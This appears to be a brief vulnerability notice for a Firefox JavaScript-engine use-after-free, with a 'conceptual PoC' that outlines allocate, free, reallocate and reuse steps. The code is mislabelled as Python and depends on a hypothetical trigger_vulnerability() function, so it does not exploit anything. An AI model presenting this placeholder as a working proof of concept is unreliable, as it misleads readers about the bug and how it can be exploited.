Use-after-free in the JavaScript Engine component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
// Conceptual PoC for Use-after-Free in JavaScript Engine
// Triggering a UAF scenario
let obj = [];
// Step 1: Allocate object
for (let i = 0; i < 100; i++) {
obj.push({a: i});
}
// Step 2: Trigger vulnerability (Free object)
// Hypothetical function that frees the object but keeps a reference
trigger_vulnerability(obj[50]);
// Step 3: Reallocate memory with attacker-controlled data
// Fill the freed memory slot
let crafted_data = new Uint32Array(100);
for (let i = 0; i < crafted_data.length; i++) {
crafted_data[i] = 0x41414141; // 'AAAA'
}
// Step 4: Access the freed pointer (Crash or Exploit)
print(obj[50].a); // Accessing freed memory